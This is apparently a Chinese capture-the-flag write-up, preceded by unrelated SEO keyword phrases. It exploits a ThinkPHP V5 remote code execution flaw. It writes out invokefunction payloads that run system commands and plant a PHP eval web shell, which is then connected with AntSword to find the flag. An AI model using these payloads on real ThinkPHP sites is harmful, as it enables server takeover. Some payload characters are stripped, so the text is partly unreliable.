网站的美观性,北京市工程信息网官网,企业主页的特点包括,自助建站网站程序源码打开题目就在线环境#xff0c;发现只有一句话#xff1a;真的什么都没有吗 F12查看控制台和源代码也没发现任何信息#xff0c;然后用虚拟机里面的dirsearch扫一下这个网站就能得到#xff1a; 然后这里扫出来的结果查看的直接就是robots.txt,然后就能看到#xff1a; …打开题目就在线环境发现只有一句话真的什么都没有吗 F12查看控制台和源代码也没发现任何信息然后用虚拟机里面的dirsearch扫一下这个网站就能得到 然后这里扫出来的结果查看的直接就是robots.txt,然后就能看到 然后访问/NSS/index.php/ 这里直接搜索ThingkPHP V5就能得到这个漏洞复现的方法我就是根据搜索到的帖子的漏洞复现方法跟着做的。 payload:?sindex/\think\app/invokefunctionfunctionphpinfovars[0]100 ?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami ?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]shell.phpvars[1][]?php phpinfo(); ?将php代码写入shell.php 再访问/NSS/shell.php 然后再 /index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]shell.phpvars[1][]?php eval($_POST[1]);?删除/shell.php替换 最后蚁剑连接网址http://node5.anna.nssctf.cn:22775/NSS/shell.php 密码为1 最后flag的路径为/nss/ctf/flag
